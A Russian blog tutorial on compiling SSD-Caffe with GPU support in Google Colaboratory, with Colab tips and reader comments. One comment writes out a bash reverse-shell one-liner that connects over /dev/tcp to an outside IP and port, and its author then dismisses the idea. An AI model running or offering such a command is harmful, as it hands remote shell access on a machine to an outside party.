Сборка Caffe в Google Colaboratory: бесплатная видеокарта в облаке

    Google Colaboratory — это не так давно появившийся облачный сервис, направленный на упрощение исследований в области машинного и глубокого обучения. Используя Colaboratory, можно получить удаленный доступ к машине с подключенной видеокартой, причем совершенно бесплатно, что сильно упрощает жизнь, когда приходится обучать глубокие нейросети. Можно сказать, что она является некоторым аналогом гугл-документов для Jupyter Notebook.

    В Colaboratory предустановлены Tensorflow и практически все необходимые для работы Python-библиотеки. Если какой-то пакет отсутствует, он с легкостью устанавливается на ходу через pip или apt-get. Но что если необходимо собрать проект из исходников и подключиться к GPU? Оказывается, это может быть не настолько просто, что я выяснил в ходе сборки SSD-Caffe. В этой публикации я дам краткое описание Colaboratory, опишу встреченные трудности и способы их решения, а также приведу несколько полезных приемов.

    Весь код доступен в моем Colaboratory Notebook.


    Коротко о Colaboratory


    Грубо говоря, Colaboratory позволяет запускать Jupyter Notebook на удалённой машине. Файлы Colaboratory представляют собой обычные .ipynb «ноутбуки» и хранятся в Гугл-диске. Также есть набор функций, позволяющий загружать файлы с удаленной машины на Гугл-диск и обратно. Этими файлами можно так же делиться с другими, можно писать к ним комментарии, как в Гугл-документах.

    В Colaboratory можно использовать GPU, а именно Tesla K80. Для этого нужно подключить ее в настройках: Runtime$\rightarrow$Change runtime type$\rightarrow$Hardware accelerator. Стоит заметить, что GPU не всегда доступны, и тогда Colaboratory предложит запустить машину без нее.

    Похоже, что ничего, кроме самого Jupyter Notebook, запустить нельзя, но есть косвенный доступ к терминалу: для этого нужно добавить восклицательный знак перед командой терминала, например !mkdir images. Вообще можно считать, что мы имеем дело с совершенной обычной машиной, на которой установлена Ubuntu 17.10 (на момент написания публикации), но подключенной удаленно. Отсюда следует, что на ней можно делать вообще все, что можно делать через терминал (не в интерактивном режиме), в том числе:

    • клонировать репозитории с помощью git clone,
    • загружать данные с помощью wget (кстати, с Гугл-диска даже большие файлы грузятся почти мгновенно),
    • использовать make (и скорее всего cmake),
    • устанавливать инструменты и библиотеки с помощью apt-get и pip

    Еще несколько замечаний по поводу Colaboratory:

    • Похоже, у пользователя есть неограниченный доступ ко всем файлам системы (любые команды нужно писать без sudo);
    • Состояние терминала не переносится между командами, даже если они в одной ячейке (например cd dir при необходимости придется писать в начале каждой команды);
    • Если надолго отключится от Colaboratory, все изменения на виртуальной машине будут стёрты, включая все установленные пакеты и скачанные файлы, поэтому рекомендуют установку пакетов включать в Jupyter Notebook;
    • Через 12 часов непрерывного использования машина автоматически отключается, но потом ее можно перезапустить (в теории, на практике GPU может быть недоступна).

    Сборка SSD-Caffe


    Я хотел попробовать Single Shot Detector (SSD), а именно его Caffe реализацию в Google Colaboratory, но для этого проект нужно было собрать из исходников.

    Кстати, если вам подойдёт любая версия Caffe, есть способ намного проще (это даже работает, хотя запускать что-либо я не пробовал):

    !apt install caffe-cuda

    Сборка SSD-Caffe из исходников — это довольно длинный квест из нескольких шагов, пройти который можно только при помощи костылей.

    Шаг 1: установка зависимостей

    Здесь мы должны загрузить все зависимости для Caffe с помощью apt. Однако, прежде чем делать это, надо разрешить apt загружать исходный код зависимостей. В руководстве по установке Caffe сказано, что для этого необходима «deb-src строка в файле sources.list». К сожалению, подробностей там нет, поэтому я просто раскомментировал все deb-src строки в файле /etc/apt/sources.list:

    with open('/etc/apt/sources.list') as f:
      txt = f.read()
    with open('/etc/apt/sources.list', 'w') as f:
      f.write(txt.replace('# deb-src','deb-src'))
    

    И это сработало. Осталось только загрузить зависимости:

    
    !apt update
    !apt build-dep caffe-cuda
    

    Шаг 2: нужен другой компилятор

    Здесь проблема заключается в следующем: g++-7, который по умолчанию является основным, почему-то несовместим с CUDA-компилятором nvcc, поэтому придется использовать что-то другое. Я скачал g++-5 и сделал его компилятором по умолчанию:

    
    !apt install g++-5
    !update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 20
    !update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-5 20
    

    Шаг 3: придётся собрать boost

    Если попытаться собрать Caffe на этом этапе, проблемы возникнут при попытке подключить boost, поскольку он собран другим компилятором, так что его исходники придётся скачать и тоже собрать с помощью g++-5 (подробнее на сайте boost):

    
    !wget https://dl.bintray.com/boostorg/release/1.67.0/source/boost_1_67_0.tar.bz2
    !tar --bzip2 -xf boost_1_67_0.tar.bz2
    !cd boost_1_67_0 && ./bootstrap.sh --exec-prefix=/usr/local --with-libraries=system,filesystem,regex,thread,python --with-python-version=2.7 --with-python-root=/usr
    !cd boost_1_67_0 && ./b2 install
    

    Шаг 4: настройка Makefile

    Клонируем Caffe с GitHub:

    
    !git clone https://github.com/weiliu89/caffe.git && cd caffe && git checkout ssd
    

    И меняем необходимые поля в Makefile.config — я изменил путь к CUDA, поменял опцию BLAS, поменял версию OpenCV на третью, добавил Python layer, а также добавил все пути к библиотекам, которые установлены, но почему-то не нашлись (всё это удобно сделать с помощью Python):

    with open('caffe/Makefile.config.example') as f:
      config = f.read()
      
    comment = ['CUDA_DIR := /usr/local/cuda', 
               'BLAS := open']
    uncomment = ['# CUDA_DIR := /usr', 
                 '# BLAS := atlas', 
                 '# OPENCV_VERSION := 3', '# WITH_PYTHON_LAYER := 1'] #
    replace = [('INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include',
                'INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include /usr/include/hdf5/serial /usr/local/lib/python2.7/dist-packages/numpy/core/include/'), 
               ('LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib',
                'LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib /usr/lib/x86_64-linux-gnu/hdf5/serial')]
    
    for c in uncomment:
      config = config.replace(c, c[2:])
    for c in comment:
      config = config.replace(c, '# '+c)
    for c1,c2 in replace:
      config = config.replace(c1, c2)
      
    with open('caffe/Makefile.config', 'w') as f:
      f.write(config)
    

    Также в самом Makefile пришлось заменить все теги -isystem на -I: оба отвечают за поиск заголовков, но обрабатываются немного по-разному, и без этой замены проблемы возникали уже при подключении stdlib (здесь подробнее):

    with open('caffe/Makefile') as f:
      mfile = f.read()
    with open('caffe/Makefile', 'w') as f:
      f.write(mfile.replace('-isystem','-I'))
    

    Шаг 5: сборка

    Остался последний костыль — подправить файл c++config.h, иначе возникают проблемы с nan-типами (подробнее):

    with open('/usr/include/x86_64-linux-gnu/c++/5/bits/c++config.h') as f:
      txt = f.read()
    with open('/usr/include/x86_64-linux-gnu/c++/5/bits/c++config.h', 'w') as f:
      f.write(txt.replace('/* #undef _GLIBCXX_USE_C99_MATH */',
                          '/* #undef _GLIBCXX_USE_C99_MATH */\n#define  _GLIBCXX_USE_C99_MATH  1'))
    

    Теперь, собственно, можно собрать Caffe:

    
    !cd caffe && make -j8 && make pycaffe && make test -j8 && make distribute
    !echo /usr/local/lib >> /etc/ld.so.conf && ldconfig
    !echo /content/caffe/distribute/lib >> /etc/ld.so.conf && ldconfig
    

    Последние две строки добавляют пути библиотек, а именно boost и Caffe.

    Теперь Caffe можно использовать (нужно только указать к ней путь в PYTHONPATH):

    import sys
    caffe_path = !cd caffe/python && pwd
    sys.path.insert(0, caffe_path[0])  
    import caffe
    

    Чтобы проверить работоспособность, я протестировал проект Mobilenet-SSD: код также есть в моем Colaboratory Notebook.

    В частности, я замерял время предсказания для одной картинки, и ускорение на GPU составило примерно 3.8.

    Бонус: несколько полезных приёмов


    По Google Colaboratory есть отличный туториал на Medium. Также в самой Colaboratory есть файлы с примерами почти всего, что может понадобиться.

    Монтировать Гугл-диск в файловую систему виртуальной машины:

    
    !apt-get install -y -qq software-properties-common python-software-properties module-init-tools
    !add-apt-repository -y ppa:alessandro-strada/ppa 2>&1 > /dev/null
    !apt-get update -qq 2>&1 > /dev/null
    !apt-get -y install -qq google-drive-ocamlfuse fuse
    from google.colab import auth
    auth.authenticate_user()
    from oauth2client.client import GoogleCredentials
    creds = GoogleCredentials.get_application_default()
    import getpass
    !google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret} < /dev/null 2>&1 | grep URL
    vcode = getpass.getpass()
    !echo {vcode} | google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret}
    

    Этот код вернёт ссылку и выдаст окно ввода. Нужно перейти по ссылке, скопировать код и ввести его в окно. Мне почему-то приходится делать это два раза. Дальше:

    
    !mkdir -p drive
    !google-drive-ocamlfuse drive
    

    После этого можно использовать свой Гугл-диск как обычный каталог. Кроме того, все изменения в этом каталоге автоматически синхронизируются с Гугл-диском.

    Установка Keras:

    !pip install -q keras
    import keras
    

    Установка PyTorch:

    from os import path
    from wheel.pep425tags import get_abbr_impl, get_impl_ver, get_abi_tag
    platform = '{}{}-{}'.format(get_abbr_impl(), get_impl_ver(), get_abi_tag())
    accelerator = 'cu80' if path.exists('/opt/bin/nvidia-smi') else 'cpu'
    
    !pip install -q http://download.pytorch.org/whl/{accelerator}/torch-0.3.0.post4-{platform}-linux_x86_64.whl torchvision
    import torch
    

    Сменить рабочий каталог:

    import os
    os.chdir("/path/to/wdir")
    

    Стереть все изменения и перезапустить машину:

    !kill -9 -1

    Загрузить файл на локальную машину:

    from google.colab import files
    files.download('file.ext')
    

    Получить словарь из файлов, загруженных на Гугл-диск:

    from google.colab import files
    uploaded = files.upload()
    

    Приглушить вывод команды терминала (перенаправить в переменную):

    lines_list = !pwd
    

    В целом, Google Colaboratory предоставляет неплохую возможность производить обучение нейросетей в облаке. Правда, этого может быть недостаточно для совсем больших сеток. Другой плюс — это возможность запускать код независимо от локальной операционной системы (что хорошо для воспроизводимости), а также совместно работать над одним проектом. В качестве подвоха — GPU может быть недоступна, в том числе надолго.
    Share post

    Similar posts

    Comments 3

      0
      ща майнеры набегут на бесплатные видяхи)
        0
        Вот не надо этого, Colaboratory не для этого предназначена.
        0
        А можно бекконнект-шелл поднять, и интерактивно настроить))
        !bash -c 'bash -i >/dev/tcp/123.22.33.44/5555 2>&1 <&1'

        Add: понял, что глупость сказал — там же суть в том, что это временный инстанс, и команды с ! дают его настроить при перенакате

        Only users with full accounts can post comments. Log in, please.